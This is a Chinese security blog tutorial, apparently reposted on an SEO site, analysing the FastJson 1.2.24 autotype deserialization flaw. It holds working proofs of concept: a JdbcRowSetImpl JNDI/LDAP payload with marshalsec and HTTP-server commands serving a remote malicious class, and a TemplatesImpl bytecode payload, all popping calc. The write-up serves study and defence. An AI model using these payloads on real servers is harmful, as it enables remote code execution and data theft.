【java安全】FastJson反序列化漏洞浅析_网站优化分享

您的位置：上海毫米网络优化公司 > 网站优化分享 >

文章目录

【java安全】FastJson反序列化漏洞浅析

0x00.前言
0x01.FastJson概述
0x02.FastJson使用

序列化与反序列化
0x03.反序列化漏洞
0x04.漏洞触发条件
0x05.漏洞攻击方式

JdbcRowSetImpl利用链
TemplatesImpl利用链

**漏洞版本**
POC

漏洞分析

【java安全】FastJson反序列化漏洞浅析

0x00.前言

前面我们学习了RMI和JNDI知识，接下来我们就可以来了解一下FastJson反序列化了

0x01.FastJson概述

FastJson是阿里巴巴的开源JSON解析库，它可以解析JSON格式的字符串，支持将JavaBean序列化为JSON字符串，也可以将JSON字符串反序列化到JavaBean

0x02.FastJson使用

首先我们需要使用maven导入一个fastjson的jar包，这里选择1.2.24版本


      com.alibaba
      fastjson
      1.2.24

序列化与反序列化

首先创建一个标准的javabean：User类

package com.leekos.serial;
public class User {
    private String name;
    private int age;
    public User() {
        System.out.println("无参构造");
    }
    public User(String name, int age) {
        System.out.println("有参构造");
        this.name = name;
        this.age = age;
    }
    public String getName() {
        System.out.println("调用了get方法");
        return name;
    }
    public void setName(String name) {
        System.out.println("调用了set方法");
        this.name = name;
    }
    public int getAge() {
        return age;
    }
    public void setAge(int age) {
        this.age = age;
    }
    @Override
    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

测试一下fastjson中的方法：

JSON.toJSONString(obj) 将javabean转化为json字符串
JSON.parse(s) 将json字符串反序列化
JSON.parseObject(s) 将json字符串反序列化

JSON.parseObject(s,Object.class) 将json字符串反序列化

public class JsonTest {
    public static void main(String[] args) {
        User user = new User("leekos",20);
        // 序列化
        String serializeStr = JSON.toJSONString(user);
        System.out.println("serializeStr=" + serializeStr);
        System.out.println("------------------------------------------------------------------");
        //通过parse方法进行反序列化，返回的是一个JSONObject
        Object obj1 = JSON.parse(serializeStr);
        System.out.println("parse反序列化对象名称:" + obj1.getClass().getName());
        System.out.println("parse反序列化:" + obj1);
        System.out.println("------------------------------------------------------------------");
        //通过parseObject,不指定类，返回的是一个JSONObject
        JSONObject obj2 = JSON.parseObject(serializeStr);
        System.out.println("parseObject反序列化对象名称:" + obj2.getClass().getName());
        System.out.println("parseObject反序列化:" + obj2);
        System.out.println("------------------------------------------------------------------");
        //通过parseObject,指定类后返回的是一个相应的类对象
        User obj3 = JSON.parseObject(serializeStr, User.class);
        System.out.println("parseObject反序列化对象名称:" + obj3.getClass().getName());
        System.out.println("parseObject反序列化:" + obj3);
    }
}

输出：

有参构造
调用了get方法
serializeStr={"age":20,"name":"leekos"}
------------------------------------------------------------------
parse反序列化对象名称:com.alibaba.fastjson.JSONObject
parse反序列化:{"name":"leekos","age":20}
------------------------------------------------------------------
parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"name":"leekos","age":20}
------------------------------------------------------------------
无参构造
调用了set方法
parseObject反序列化对象名称:com.leekos.serial.User
parseObject反序列化:User{name='leekos', age=20}

通过观察，我们可以知道：(不使用SerializerFeature.WriteClassName参数)

使用JSON.toJSONString(obj)将javabean序列化的时候会调用get()方法
使用JSON.parse(s)会将json串反序列化为JSONObject对象，并没有真正反序列化，没有调用任何方法
使用JSON.parseObject(s)会将json串反序列化为JSONObject对象，并没有真正反序列化，没有调用任何方法

当我们指定了JSON.parseObject(s,User.class)函数的第二个参数为指定类的字节码时，我们可以正确反序列化，并且会调用set()方法

通过以上的分析，我们可能会想json串中没有与类有关的标识，我们怎么才知道这个json串反序列化对应的对象是什么类型呢？

这个时候就需要用到JSON.toJSONString(obj,SerializerFeature.WriteClassName)的第二个参数了，如果该参数为SerializerFeature.WriteClassName那么在序列化javabean时就会在json串中写下类的名字，保存在@type关键字中

传入SerializerFeature.WriteClassName可以使得Fastjson支持自省，开启自省后序列化成JSON的数据就会多一个@type，这个是代表对象类型的JSON文本。

我们将上面的代码更改一下：

String serializeStr = JSON.toJSONString(user,SerializerFeature.WriteClassName);

输出：

有参构造
调用了get方法
serializeStr={"@type":"com.leekos.serial.User","age":20,"name":"leekos"}
------------------------------------------------------------------
无参构造
调用了set方法
parse反序列化对象名称:com.leekos.serial.User
parse反序列化:User{name='leekos', age=20}
------------------------------------------------------------------
无参构造
调用了set方法
调用了get方法
parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"name":"leekos","age":20}
------------------------------------------------------------------
无参构造
调用了set方法
parseObject反序列化对象名称:com.leekos.serial.User
parseObject反序列化:User{name='leekos', age=20}

经过分析，我们可以知道：

当反序列成功时，parse()、parseObject()都会调用set()方法
JSON.parseObject()只有在第二个参数指定类，才会反序列化成功
在字符串中使用"@type":"com.leekos.serial.User"指定类，当使用JSON.parseObject()且不指定第二个参数时，会调用set()、get()方法，但会转化为JSONObject对象

使用JSON.parse()方法，无法使用参数指定反序列化的类，它通过识别json串中的@type来反序列化为指定类

0x03.反序列化漏洞

其实上面就有一个很敏感的问题，如果@type为恶意类的话，就可以通过触发set()、get()方法来做一些恶意操作了

漏洞是利用fastjson autotype在处理json对象的时候，未对@type字段进行完全的安全性验证，攻击者可以传入危险类，并调用危险类连接远程rmi主机，通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用，获取服务器的敏感信息泄露，甚至可以利用此漏洞进一步对服务器数据进行修改，增加，删除等操作，对服务器造成巨大的影响。

我们先编写一个恶意类：

package com.leekos.rce;
import java.io.IOException;
public class ExecObj {
    private String name;
    public ExecObj() {
    }
    public ExecObj(String name) {
        this.name = name;
    }
    public String getName() {
        return name;
    }
    public void setName(String name) throws IOException {
        Runtime.getRuntime().exec("calc");
        this.name = name;
    }
    @Override
    public String toString() {
        return "ExecObj{" +
                "name='" + name + '\'' +
                '}';
    }
}

添加SerializerFeature.WriteClassName后然后使用JSON.parseObject()反序列化：

public class Test {
    public static void main(String[] args) {
        String s = "{\"@type\":\"com.leekos.rce.ExecObj\",\"name\":\"leekos\"}";
        Object o = JSON.parseObject(s);
    }
}

成功调用set()方法：

【java安全】FastJson反序列化漏洞浅析,image-20230821142758785,第1张

0x04.漏洞触发条件

不过在FastJson中还需要满足某些条件：

getter自动调用还需要满足以下条件：

方法名长度大于4
非静态方法
以get开头且第四个字母为大写
无参数传入

返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

setter自动调用需要满足以下条件：

方法名长度大于4
非静态方法
返回值为void或者当前类
以set开头且第四个字母为大写

参数个数为1个

除此之外Fastjson还有以下功能点：

如果目标类中私有变量没有setter方法，但是在反序列化时仍想给这个变量赋值，则需要使用Feature.SupportNonPublicField参数
fastjson 在为类属性寻找getter/setter方法时，调用函数com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()方法，会忽略_ -字符串
fastjson 在反序列化时，如果Field类型为byte[]，将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue进行base64解码，在序列化时也会进行base64编码

0x05.漏洞攻击方式

在Fastjson这个反序列化漏洞中是使用TemplatesImpl和JdbcRowSetImpl构造恶意代码实现命令执行，TemplatesImpl这个类，想必前面调试过这么多链后，对该类也是比较熟悉。他的内部使用的是类加载器，去进行new一个对象，这时候定义的恶意代码在静态代码块中，就会被执行。再来说说后者JdbcRowSetImpl是需要利用到前面学习的JNDI注入来实现攻击的。

这里介绍两种方式：

TemplatesImpl链

JdbcRowSetImpl链

JdbcRowSetImpl利用链

JNDI注入利用链是通用性最强的利用方式，在以下三种反序列化中均可使用：

parse(jsonStr)
parseObject(jsonStr)
parseObject(jsonStr,Object.class)

这里JNDI注入利用的是JdbcRowSetImpl ，由于需要使用JNDI，所以我们全局查找一下lookup()

【java安全】FastJson反序列化漏洞浅析,image-20230821173352644,第2张

发现lookup()会在connect()函数中被调用，并且传入参数this.getDataSourceName()，

public void setDataSourceName(String var1) throws SQLException {
        if (this.getDataSourceName() != null) {
            if (!this.getDataSourceName().equals(var1)) {
                String var2 = this.getDataSourceName();
                super.setDataSourceName(var1);
                this.conn = null;
                this.ps = null;
                this.rs = null;
                this.propertyChangeSupport.firePropertyChange("dataSourceName", var2, var1);
            }
        } else {
            super.setDataSourceName(var1);  //赋值
            this.propertyChangeSupport.firePropertyChange("dataSourceName", (Object)null, var1);
        }
    }

setDataSourceName()函数会对dataSourceName赋值，并且这个函数是setxxx()形式。即dataSourceName可控

然后我们需要寻找哪里能调用connect()函数，并且这个函数是setxxx()形式：

public void setAutoCommit(boolean var1) throws SQLException {
    if (this.conn != null) {
        this.conn.setAutoCommit(var1);
    } else {
        this.conn = this.connect();
        this.conn.setAutoCommit(var1);
    }
}

找到了一个setAutoCommit()，这就能简单构造一个json串了

{
    "@type":"com.sun.rowset.JdbcRowSetImpl", 
    //调用com.sun.rowset.JdbcRowSetImpl函数中的setdataSourceName函数 传入参数"ldap://127.0.0.1:1389/Exploit"
    "dataSourceName":"ldap://127.0.0.1:1389/Exploit", 
    "autoCommit":true // 之后再调用setAutoCommit函数，传入true
}

Demo

public class Demo {
    public static void main(String[] args) {
        String exp = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/leekos\",\"autoCommit\":true}";
        JSON.parse(exp);
    }
}

首先我们先使用插件：marshalsec起一个ldap服务：

(这里url指向本地的8090端口的EvilClass.class文件)

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8090/#EvilClass

然后python起一个http服务(8090端口),目录中有一个EvilClass.class文件：

python3 -m http.server 8090

EvilClass.java源码

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
public class EvilClass implements ObjectFactory {
    static {
        System.out.println("hello,static~");
    }
    public EvilClass() throws IOException {
        System.out.println("constructor~");
    }
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws Exception {
        Runtime.getRuntime().exec("calc");
        System.out.println("hello,getObjectInstance~");
        return null;
    }
}

这里使用javac（jdk7u21）编译一下

运行：

【java安全】FastJson反序列化漏洞浅析,image-20230821174611972,第3张

TemplatesImpl利用链

漏洞版本

fastjson 1.22-1.24

POC

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.codec.binary.Base64;
public class Test {
    //最终执行payload的类的原始模型
    //ps.要payload在static模块中执行的话，原始模型需要用static方式。
    public static class lala{
    }
    //返回一个在实例化过程中执行任意代码的恶意类的byte码
    //如果对于这部分生成原理不清楚，参考以前的文章
    public static byte[] getevilbyte() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.get(lala.class.getName());
        //要执行的最终命令
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        //之前说的静态初始化块和构造方法均可，这边用静态方法
        cc.makeClassInitializer().insertBefore(cmd);
//        CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);
//        cons.setBody("{"+cmd+"}");
//        cc.addConstructor(cons);
        //设置不重复的类名
        String randomClassName = "LaLa"+System.nanoTime();
        cc.setName(randomClassName);
        //设置满足条件的父类
        cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
        //获取字节码
        return cc.toBytecode();
    }
    //生成payload，触发payload
    public static void  poc() throws Exception {
        //生成攻击payload
        byte[] evilCode = getevilbyte();//生成恶意类的字节码
        String evilCode_base64 = Base64.encodeBase64String(evilCode);//使用base64封装
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String text1 = "{"+
                "\"@type\":\"" + NASTY_CLASS +"\","+
                "\"_bytecodes\":[\""+evilCode_base64+"\"],"+
                "'_name':'a.b',"+
                "'_tfactory':{ },"+
                "'_outputProperties':{ }"+
                "}\n";
        //此处删除了一些我觉得没有用的参数（第二个_name，_version，allowedProtocols），并没有发现有什么影响
        System.out.println(text1);
        //服务端触发payload
        ParserConfig config = new ParserConfig();
        Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
        
        //Object obj = JSON.parseObject(text1, Feature.SupportNonPublicField);
    }
    //main函数调用以下poc
    public static void main(String[] args){
        try {
            poc();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

我们执行一下，弹出计算器：

【java安全】FastJson反序列化漏洞浅析,image-20230821153456387,第4张

json串：

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADEAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARsYWxhAQAMSW5uZXJDbGFzc2VzAQAsTGNvbS9sZWVrb3MvRmFzdEpzb25UZW1wbGF0ZXNJbXBsL1Rlc3QkbGFsYTsBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAEAAUHABMBACpjb20vbGVla29zL0Zhc3RKc29uVGVtcGxhdGVzSW1wbC9UZXN0JGxhbGEBABBqYXZhL2xhbmcvT2JqZWN0AQAlY29tL2xlZWtvcy9GYXN0SnNvblRlbXBsYXRlc0ltcGwvVGVzdAEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAXABgKABYAGQEABGNhbGMIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAEkxhTGE0Mjk4NDA5NDYzMzcwMAEAFExMYUxhNDI5ODQwOTQ2MzM3MDA7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAAEAAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"],'_name':'a.b','_tfactory':{ },'_outputProperties':{ }}

漏洞分析

使用TemplatesImpl链的形式触发FastJson反序列化漏洞利用条件比较苛刻

服务端使用JSON.parse()时，需要JSON.parse(s,Feature.SupportNonPublicField);
服务端使用parseObject()时，必须使用如下格式才能触发漏洞： JSON.parseObject(input, Object.class, Feature.SupportNonPublicField); 、JSON.parseObject(input, Feature.SupportNonPublicField);
因为payload需要赋值的一些属性为private属性，服务端必须添加特性才会去json中恢复private属性的数据

其实根据上面的poc，我们会有几个疑问：
- 如果支队_bytecodes插入恶意代码，为什么需要构造这么多值
- _bytecodes中的值为什么要base64加密
- 发序列化为什么要加入Feature.SupportNonPublicField参数值
  1. @type ：用于存放反序列化时的目标类型，这里指定的是TemplatesImpl这个类，Fastjson会按照这个类反序列化得到实例，因为调用了getOutputProperties方法，实例化了传入的bytecodes类，导致命令执行。需要注意的是，Fastjson默认只会反序列化public修饰的属性，outputProperties和_bytecodes由private修饰，必须加入Feature.SupportNonPublicField 在parseObject中才能触发；
  2. _bytecodes：继承AbstractTranslet 类的恶意类字节码，并且使用Base64编码
  3. _name：调用getTransletInstance 时会判断其是否为null，为null直接return，不会往下进行执行，利用链就断了，可参考cc2和cc4链。
  4. _tfactory：defineTransletClasses 中会调用其getExternalExtensionsMap 方法，为null会出现异常,但在前面分析jdk7u21链的时候，部分jdk并未发现该方法。
  5. outputProperties：漏洞利用时的关键参数，由于Fastjson反序列化过程中会调用其getOutputProperties 方法，导致bytecodes字节码成功实例化，造成命令执行
  前面说到的之所以加入Feature.SupportNonPublicField才能触发是因为Feature.SupportNonPublicField的作用是支持反序列化使用非public修饰符保护的属性，在Fastjson中序列化private属性。
  
  网站优化网站品牌设计公司怎么做一个免费的网站专业网站建站公司快速整站优化郑州建网站需要多少钱

上一篇：11、Flink配置flink-conf.yaml详细说明（HA配置、checkpoint、web、安全、zookeeper、historyserver、workers、zoo.cfg）

下一篇：iMazing3安全吗？好不好用？值不值得下载